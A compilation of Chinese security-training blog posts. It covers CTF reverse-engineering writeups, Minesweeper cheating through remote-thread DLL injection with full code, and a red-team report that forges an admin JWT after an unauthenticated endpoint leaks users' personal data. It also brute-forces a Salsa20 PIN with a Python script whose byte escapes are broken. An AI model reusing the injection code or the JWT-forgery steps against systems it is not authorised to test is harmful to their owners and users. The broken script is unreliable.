可以看到有一个条件判断:if ( (unsigned __int8)sub_402600(v2 + 16) )。一眼顶针,两个分支分别是弹出正确和错误的对话框,为什么呢?if else函数体内容基本一样。当然我们还是动态调试一下
所以enc函数很明显就是sub_402600这个函数中就出现了很多垃圾指令了,也就对应上题目名称Junk_instruction了。
去花-IDA分析
爆红
花指令,经典call $+5起手,就是先用一个call压好返回地址,再把栈里的返回地址弹出来,改一下,压回去,如此反复。去掉也很简单,我们把下述累死指令块全部nop掉即可,有好几处,一模一样。
当然,我们使用idapython脚本自动去花
from ida_bytes import get_bytes, patch_bytes
import re
addr = 0x402600
end = 0x402fe3
buf = get_bytes(addr, end-addr)
def nopp(s):
s = s.group(0)
print("".join(["%02x"%i for i in s]))
s = b"\x90"*len(s)
return s
pattern = b"\xe8\x00\x00\x00\x00\x58\x89.*?\xc3.*?\x22"
buf = re.sub(pattern , nopp, buf, flags=re.I)
patch_bytes(addr, buf)
print("Done")
加密
去除花指令,简单审计发现是对程序进行RC4加密,最后还对输入进行了个倒叙
去花后,整理一下,代码如下
char __thiscall sub_402600(void *this, int a2)
{
const WCHAR *v2; // eax
void *v3; // eax
char v5[511]; // [esp+9h] [ebp-4BBh] BYREF
int v6; // [esp+208h] [ebp-2BCh]
char *v7; // [esp+20Ch] [ebp-2B8h]
int v8; // [esp+210h] [ebp-2B4h]
size_t Count; // [esp+214h] [ebp-2B0h]
int v10; // [esp+218h] [ebp-2ACh]
size_t v11; // [esp+21Ch] [ebp-2A8h]
char *v12; // [esp+220h] [ebp-2A4h]
char *v13; // [esp+224h] [ebp-2A0h]
int v14; // [esp+228h] [ebp-29Ch]
char v15[4]; // [esp+22Ch] [ebp-298h] BYREF
char *Source; // [esp+230h] [ebp-294h]
void *v17; // [esp+234h] [ebp-290h]
char cipher[32]; // [esp+238h] [ebp-28Ch]
const char *v19; // [esp+258h] [ebp-26Ch]
char *v20; // [esp+25Ch] [ebp-268h]
int i; // [esp+260h] [ebp-264h]
char *p_Destination; // [esp+264h] [ebp-260h]
char v23; // [esp+26Dh] [ebp-257h]
char v24; // [esp+26Eh] [ebp-256h]
char v25; // [esp+26Fh] [ebp-255h]
char v26[28]; // [esp+270h] [ebp-254h] BYREF
char v27[256]; // [esp+28Ch] [ebp-238h] BYREF
char key[256]; // [esp+38Ch] [ebp-138h] BYREF
char Destination; // [esp+48Ch] [ebp-38h] BYREF
char v30[39]; // [esp+48Dh] [ebp-37h] BYREF
int v31; // [esp+4C0h] [ebp-4h]
v17 = this;
v31 = 3;
cipher[0] = 91;
cipher[1] = -42;
cipher[2] = -48;
cipher[3] = 38;
cipher[4] = -56;
cipher[5] = -35;
cipher[6] = 25;
cipher[7] = 126;
cipher[8] = 110;
cipher[9] = 62;
cipher[10] = -53;
cipher[11] = 22;
cipher[12] = -111;
cipher[13] = 125;
cipher[14] = -1;
cipher[15] = -81;
cipher[16] = -35;
cipher[17] = 118;
cipher[18] = 100;
cipher[19] = -80;
cipher[20] = -9;
cipher[21] = -27;
cipher[22] = -119;
cipher[23] = 87;
cipher[24] = -126;
cipher[25] = -97;
cipher[26] = 12;
cipher[27] = 0;
cipher[28] = -98;
cipher[29] = -48;
cipher[30] = 69;
cipher[31] = -6;
v2 = (const WCHAR *)sub_401570(&a2);
v14 = sub_4030A0(v2);
v10 = v14;
v3 = (void *)sub_401570(v14);
sub_403000(v3);
sub_4012A0(v15);
Source = (char *)unknown_libname_1(v26);
v20 = Source;
v13 = Source + 1;
v20 += strlen(v20);
v11 = ++v20 - (Source + 1);
Count = v11;
Destination = 0;
memset(v30, 0, sizeof(v30));
strncpy(&Destination, Source, v11);
if ( sub_402AF0(&Destination) )
{
v23 = 0;
v25 = 0;
LABEL_7:
v24 = v25;
}
else
{
strcpy(key, "qwertyuiop"); // key
memset(&key[11], 0, 0xF5u);
memset(v27, 0, sizeof(v27));
memset(v5, 0, sizeof(v5));
v19 = key;
v7 = &key[1];
v19 += strlen(v19);
v6 = ++v19 - &key[1];
RC4_init((int)v27, key, v19 - &key[1]); // RC4_init
p_Destination = &Destination;
v12 = v30;
p_Destination += strlen(p_Destination);
v8 = ++p_Destination - v30;
RC4_crypt((int)v27, (int)&Destination, p_Destination - v30);// RC4_crypto
for ( i = 31; i >= 0; --i )
{
if ( v30[i - 1] != cipher[i] ) // 倒叙
{
v25 = 0;
goto LABEL_7;
}
}
v24 = 1;
}
LOBYTE(v31) = 0;
sub_403060(v26);
v31 = -1;
sub_4012A0(&a2);
return v24;
}
解密
首先提取密文,利用插件Lazy_ida 5BD6D026C8DD197E6E3ECB16917DFFAFDD7664B0F7E58957829F0C009ED045FA
key-->qwertyuiop
cyberchef 得解
flag{973387a11fa3f724d74802857d3e052f}
游戏安全入门-扫雷分析&远程线程注入
前言
无论学习什么,首先,我们应该有个目标,那么入门windows游戏安全,脑海中浮现出来的一个游戏 -- 扫雷,一款家喻户晓的游戏,虽然已经被大家分析的不能再透了,但是我觉得自己去分析一下还是极好的,把它作为一个小目标再好不过了。
我们编写一个妙妙小工具,工具要求实现以下功能:时间暂停、修改表情、透视、一键扫雷等等。
本文所用工具:
Cheat Engine、x32dbg(ollydbg)、Visual Studio 2019
扫雷游戏分析
游戏数据在内存中是地址,那么第一个任务,找内存地址
打开CE修改器
修改时间->时间暂停
计数器的时间是一个精确的值,所以我们通过精确数值扫描出来,游戏开始之前计数器上的数是0,所以我们扫描0。
时间在变化,选择介于什么数值之间再次扫描
可得 0x100579c --- winmine.exe+579C
我们发现这个数据都是直接通过基址 + 固定偏移能直接得到的。
然后我们对数据去找 是什么改写了这个地址,得到一个指令和指针:
时间:0x100579c
修改表情 - 没啥用
修改表情这个功能怎么搞我觉得还是很容易想到的,这个按钮的作用是重新开始游戏,开始游戏,游戏胜利,游戏失败。
(表情的状态被分成了两个变量(4byte)来控制)
所以它是一种状态,所以我们通过0和1进行扫描,游戏进行状态输入1进行扫描,还原游戏之后输入0进行扫描。
首先是游戏进行状态,输入1进行扫描
再点击表情,将游戏还原,输入0开始扫描
如此反复进行扫描,得到表情的内存地址
0x1005164 -- winmine.exe+5164
但是嘞,修改成2或者3,表情没有心得反应,所以控制游戏胜利和游戏失败的是其他的地址,我们知道,一般来说,一个功能的代码在内存中基本上都是连续的,(就像你修改一个游戏的血量,浏览血量内存块,你可以发现怒气,蓝量等内存地址)
所以,我们浏览内存
0x1005164-4 = 0x1005160
修改为3,发现出现了戴墨镜的表情(游戏胜利)
但是这个胜利知识一个状态,并不能说明扫雷完成.
表情:0x1005160与0x1005164
透视 - 显示雷区
思考游戏结束的时候会自动显示所有的雷,因此我们动态调试,看看在哪个函数调用之后会显示所有的雷
经过几次的动态调试之后发现:0x2F80函数是我们要找的结果。
一键扫雷
通过透视,我们玩一把游戏,使得游戏胜利(点完最后一个)
然后后两个函数,是破纪录跟英雄榜的函数
ret来到了这儿,游戏通关了,来到了这儿,可以知道,这个0x347c就是判断输赢的函数
并且通过调试发现由一个参数 0 1 来控制,所以跟透视差不多,带个参数线程回调就完了
编写妙妙小工具
怎么实现这个工具呢,当然是选择DLL注入
那么dll 怎么注入进去呢,这里选择远程线程注入
这里先简单介绍下什么是远程线程注入
前置知识-动态调用dll
主要就是这几个个 API:
LoadLibraryA
加载指定 DLL 并返回模块句柄,参数为字符串,就是 dll 的路径。
GetProcAddress
获取指定 dll 的导出函数的地址。
第一个参数是模块句柄,第二个参数是模块函数,返回值为函数的地址。
通过这两个函数,我们可以拿到所有函数的地址,然后就能进行调用。
CreateThread - 远程线程注入
里面几乎只有一个参数,那就是线程回调函数,然后当然还有返回地址,返回线程 id 啥的,这里我们都可以不用管,几乎是与 Linux 的创建线程函数一致。
还有一个远程版本的叫 CreateRemoteThread,它可以给别的进程创建一个线程并可以在本进程创建那个进程调用的回调函数。我们可以在回调函数中加载指定的 dll,在 dllmain 的入口当中,有一个 switch 的四个选项。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,//指向自身的句柄
DWORD ul_reason_for_call,//调用原因
LPVOID lpReserved//隐式加载or显式加载
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://附加到进程上时执行
case DLL_THREAD_ATTACH://附加到线程上时执行
case DLL_THREAD_DETACH://从线程上剥离时执行
case DLL_PROCESS_DETACH://从进程上剥离时执行
break;
}
return TRUE;
}
我们可以在 DLL_PROCESS_ATTACH 的选项中加入代码,让它在加载的时候调用执行。
那么我们的步骤是:
打开指定进程获得句柄
开辟远程进程的空间,分配可读可写段。
调用 WriteProcessMemory 将 dll 路径写入该内存区域。
创建远程线程,回调函数使用 LoadLibrary 加载指定 dll。
等待返回(loadLibrary返回)
释放空间
释放句柄
返回结果
demo:
void Inject(DWORD ProcessId, const char* szPath)
{
//1.打开目标进程获取句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
printf("进程句柄:%p\n", hProcess);
//2.在目标进程体内申请空间
LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
//3.写入DLL路径
SIZE_T dwWriteLength = 0;
WriteProcessMemory(hProcess, lpAddress, szPath, strlen(szPath), &dwWriteLength);
//4.创建远程线程,回调函数使用 LoadLibrary 加载指定 dll
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryA, lpAddress, NULL, NULL);
//5.等待返回(loadLibrary返回)
WaitForSingleObject(hThread, -1);
//6.释放空间
VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);
//7.释放句柄
CloseHandle(hProcess);
CloseHandle(hThread);
//返回结果
AfxMessageBox(L"完成");
}
编写DLL注入器
#include<windows.h>
#include<iostream>
#include<time.h>
#include<stdlib.h>
#include<TlHelp32.h>
DWORD FindProcess() {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32 = { sizeof(pe32) };
BOOL ret = Process32First(hSnap, &pe32);
while (ret)
{
if (!wcsncmp(pe32.szExeFile, L"mine.exe", 11)) {
printf("Find winmine.exe Process %d\n", pe32.th32ProcessID);
return pe32.th32ProcessID;
}
ret = Process32Next(hSnap, &pe32);
}
return 0;
}
void Inject(DWORD ProcessId, const char* szPath)
{
//1.打开目标进程获取句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
printf("进程句柄:%p\n", hProcess);
//2.在目标进程体内申请空间
LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
//3.写入DLL路径
SIZE_T dwWriteLength = 0;
WriteProcessMemory(hProcess, lpAddress, szPath, strlen(szPath), &dwWriteLength);
//4.创建远程线程,回调函数使用 LoadLibrary 加载指定 dll
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryA, lpAddress, NULL, NULL);
//5.等待返回(loadLibrary返回)
WaitForSingleObject(hThread, -1);
//6.释放空间
VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);
//7.释放句柄
CloseHandle(hProcess);
CloseHandle(hThread);
}
int main() {
DWORD ProcessId = FindProcess();
while (!ProcessId) {
printf("未找到扫雷程序,等待两秒中再试\n");
Sleep(2000);
ProcessId = FindProcess();
}
printf("开始注入进程...\n");
Inject(ProcessId, "E:\\CODE\\wimine\\Mine\\release\\Mine.dll");
printf("注入完毕\n");
}
编写DLL
这里我们采用MFC DLL 基于对话框 (dialog)的方式编写(简单),使用静态编译的方式
然后我们需要在资源窗体,新建一个 Dialog ,简单包装一个界面
这样我们在加载窗体的时候需要创建一个窗体类对象用它的 DoModal 方法去显示,用线程回调的方式加载并且初始化InitInstance
DWORD WINAPI DlgThreadCallBack(LPVOID lp) {
MineDlg* Dlg;
Dlg = new MineDlg();
Dlg->DoModal();
delete Dlg;
FreeLibraryAndExitThread(theApp.m_hInstance, 1);
return 0;
}
// CMineApp 初始化
BOOL CMineApp::InitInstance()
{
CWinApp::InitInstance();
::CreateThread(NULL, NULL, DlgThreadCallBack, NULL, NULL, NULL);
return TRUE;
}
时间暂停
上面我们找到了它控制时间增加的指令,我们把它们全部 NOP 掉,就可以实现时间暂停
写两个按钮,创建下面的事件实现时间暂停开关。
DWORD GetBaseAddr() {
HMODULE hMode = GetModuleHandle(nullptr);
//LPWSTR s = (LPWSTR)malloc(0x100);
//wsprintf(s, L"基址:%p", hMode);
//AfxMessageBox(s);
return (DWORD)hMode;
}
void MineDlg::OnBnClickedButton1() // 时间暂停
{
// TODO: 在此添加控件通知处理程序代码
auto BaseAddr=GetBaseAddr();
DWORD TimeOffset = 0x579C;
DWORD TimeInsOffset = 0x2FF5;
DWORD InsLen = 6;
DWORD old;
VirtualProtect((void*)(BaseAddr + TimeInsOffset), InsLen, PAGE_EXECUTE_READWRITE, &old);
BYTE INS[] = { 0x90,0x90,0x90,0x90,0x90,0x90 };
memcpy((void *)(BaseAddr + TimeInsOffset), INS, InsLen);
VirtualProtect((void*)(BaseAddr + TimeInsOffset), InsLen, old, &old);
}
void MineDlg::OnBnClickedButton2() // 恢复字节即可取消时间暂停
{
// TODO: 在此添加控件通知处理程序代码
auto BaseAddr = GetBaseAddr();
DWORD TimeOffset = 0x579C;
DWORD TimeInsOffset = 0x2FF5;
DWORD InsLen = 6;
DWORD old;
VirtualProtect((void*)(BaseAddr + TimeInsOffset), InsLen, PAGE_EXECUTE_READWRITE, &old);
BYTE INS[] = { 0xFF,0x05,0x9C,0x57,0x00,0x01 };
memcpy((void*)(BaseAddr + TimeInsOffset), INS, 6);
VirtualProtect((void*)(BaseAddr + TimeInsOffset), InsLen, old, &old);
}
测试
透视
经过上面动态调试我们得出结论:0x2F80函数是踩雷函数。
我们如果调用这个函数,是不是就能够实现透视了呢?
我们依旧采取线程回调的方式
void MineDlg::OnBnClickedButton3()
{
// TODO: 在此添加控件通知处理程序代码
DWORD ESPOffset = 0x2f80;
DWORD FuncAddr = GetBaseAddr() + ESPOffset;
// 创建不带参数的线程
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FuncAddr, NULL, 0, NULL);
}
测试
一键扫雷
跟透视差不多,只不过创建带参数的线程回调
void MineDlg::OnBnClickedButton4()
{
// TODO: 在此添加控件通知处理程序代码
DWORD ESPOffset = 0x347C;
DWORD FuncAddr = GetBaseAddr() + ESPOffset;
//创建带参数的线程
struct { int a; } s = { 0 };
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)FuncAddr, &s, NULL, NULL);
}
测试
总结
通过这个小项目,对WIN游戏安全有初步的认识,并且加强对软件的逆向思维,增强动态调试的能力,找到软件关键的基地址,通过CE修改器,初步pojie软件,了解软件的状态,修改时间(时间暂停等等),理解几个重要的API,FindWindow获取句柄,WriteProcessMemory写入内存信息,LoadLibraryA加载指定 DLL 并返回模块句柄,GetProcAddress,获取指定 dll 的导出函数的地址,CreateThread 线程回调函数等等。多写,多做,多调,多实验,加油,互勉。
【总结】注册码泄露原理以及例题
引言
题目给了小明的机器码:1653643685031597
用户user_id:xiaoming
可以看到题目采用了SIMD指令集
该指令格式在CTF和攻防对抗中经常出现,可以提高执行效率的同时也可以增加逆向的难度。
对于此类指令和题目,我们分析的方法是:遇到查意思,查的多了就跟看正常代码一样,采用动态分析。
机器码修改
将内置的机器码改为题目给的:1653643685031597
修改成功:
得到flag的时候跟machine这个有很大关系
动态分析
machine_id处理
在这个加密函数中
发现了MD5特征
经过动调拿到函数加密后的结果
与我们的猜测是相符的
可以发现最终md5(机器码)变成
user_id处理
和调试machine加密一样,最终MD5(user_id)变成:
最终处理
经过之前相同的加密
变成这个数字:1228240365737281
然而这还没完,居然进行两次相同加密
再次加密后的结果:0502036271810858
可以发现此题出的很好,利用了密码比较的漏洞,没有将密文给出,而是将生成的密文在中间给出,从而造成了数据泄露。
得到flag
回顾加密流程,可以发现
f(key) = f( f( f(md5(machine)) + f(md5(user_id)) ) )
那么题目给了得到flag的machine和user_id,可以得出
Key =f( f(md5(machine)) + f(md5(user_id)) )
所以最终flag:
flag{1228240365737281}
jwt伪造身份组组组合拳艰难通关
前言
现在的攻防演练不再像以往那样一个漏洞直捣黄龙,而是需要各种组合拳才能信手拈来,但是有时候使尽浑身解数也不能称心如意。
前期信息收集
首先是拿到靶标的清单
访问系统的界面,没有什么能利用的功能点
首先进行目录扫描,扫描发现存在xxx.zip的文件放置在web目录上
一般zip文件大部分情况都是开发运维人员做系统维护时留下的备份文件,在系统上线后并没有将其删除,于是底裤(即源代码)都直接给到了攻击者
来到这一步都以为是一路高歌,轻松拿下,没想象到是跌宕起伏伏伏伏伏......
先使用wget下载zip文件,文件总共200+mb,很有概率是源代码的打包
从文件内容可判断,该系统是使用的.net开发,可通过dnspy进行审计
文件上传漏洞审计
拿到源码后的第一个思路是寻找文件上传漏洞
果不其然在源码中找到uploadimg接口,发现未对上传的文件格式进行过滤
实际访问接口发现,怎么改变文件格式、文件内容、Content-Type、还是各种变种传输都无济于事
返回包永远是{"Status":1,"Data""null}
运维实在是坏呀~
Sql注入漏洞审计
第二个思路就是找注入
但是代码中定义了一个SqlChecker全局的类,强制处理所有用户传参,找注入这个方向有有点难啃了
系统用户信息遍历
找到/api/user/getusers接口
接口没有做鉴权,构造请求包发送,返回包返回系统所有用户信息
其中用户信息包括姓名、出生日期、微信账号、手机号码、邮箱、密码等等
伪造jwt_token获取系统管理员-拿下靶标
源码获取到jwt_token的secret
但是该secret不是可读性文本,估计是随机生成的byte字节序列,因此不能自行使用cyberchief或者其他工具将token直接生成
这里有个坑点:开始是使用gpt生成的脚本进行secret的读取和token的生成,发现gpt在处理字节上面有点问题,生成的jwt_token不能使用,于是自行编写了个py脚本进行jwt_token的构造,首先我们将字节序列做16进制的转化,为了python能够使用bytes.fromhex()函数读取16进制化的secret,然后根据上面读出的用户信息,伪装admin账号身份,并设置一个较长的ExpireTime
拿到jwt_token之后,要如何使用才能拿到后台呢,这里首先要明白该系统的登录鉴权机制
由于他存在注册功能,我们便可在自行注册一个账号,然后进行登录,查看认证处理流程
从数据包里面得知,登录成功后会返回jwt_token和一些与用户相关的一些信息,前端会根据返回的身份信息,跳转到对应的页面,并且功能接口都会带上jwt_token进行请求以便获取系统数据
了解清楚后,就开始进行身份伪造,首先去后台登录系统
将登录返回包的内容替换为管理员账号的token(从python脚本中生成)和管理员用户的身份信息
通过鉴权后,终于成功获取管理员后台,靶标5000分到手,哈哈
总结
本次渗透从惊喜到怀疑到失落,总的来说就是“山穷水尽疑无路,柳暗花明又一村”。
如果只是死磕文件上传、SQL注入这些能够快速获取权限的洞,反而有时会错过一些有用的信息,毕竟比赛中分数才是最要紧的,如何高效快速拿下靶标才是第一要领。
同时,代码审计的过程中要结合系统功能来多方面评估,本次挖洞也是先认真理解了系统的登录认证机制,才知道有jwt鉴权这种方式,从而萌生在代码中找jwt secret的想法,也才能把快到手的分数牢牢抓在自己手中。
【实战】文件加密器进行逆向
前言
实战可以大大提高自己,学习技术的目的就是能够在实战中运用。
本次实战与实际息息相关,该软件具有加密某文件的功能。
界面还挺好看的,功能很简单,输入文件和PIN(4位)进加解密。
这是被加密的文件
需要将其进行解密,拿到flag
思路
因为PIN是4位,因此可以写一个python脚本,对其进行爆破。
关键在于得出加密的算法,此时就需要我们进行逆向分析了
分析
先尝试进行加密
根据关键词:encrypted 进行定位
发现是我们需要的信息
跟踪进去,发现了花指令
去花指令
发现堆栈不平衡,将所有代码选中,然后C键,重新分析
发现了单指令花指令,无非nop掉即可
从头选到下一个函数开始的位置
按下C键
analyze即可
还是rust编译的
此时就可以分析函数了。处理其他函数也是相同的道理
初步分析
使用Fincrypto发现了salsa20加密
salsa20:32位字符构成的key,二是随机生成的8位nonce。算法使用key和nonce生成一个2^70长度的序列,并与明文进行异或加密
sub_140073A70
发现main_func就是获取我们的输入的文件内容
sub_140039890
而函数sub_140039890才是关键的加密函数
0x61707865、0x3320646E均为Salsa20算法的固定参数
解密
由于密码只有0000~9999这10000种可能
加密后文件名又是flag.png.enc,所以原文件是个png文件
使用png固有文件头89504E47来判断解密是否成功
Python
from Cryptodome.Cipher import Salsa20
cipher = open("flag.png.enc", "rb").read()
for i in range(10000):
key = str(i).rjust(4, '0').ljust(32, 'x00')
nonce = b'x24x24x24x24x24x24x24x24'
sal = Salsa20.new(key=key, nonce=nonce)
plain = sal.decrypt(cipher)
if plain.find(b"x89x50x4Ex47")>=0:
open("flag.png", "wb").write(plain)
break
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

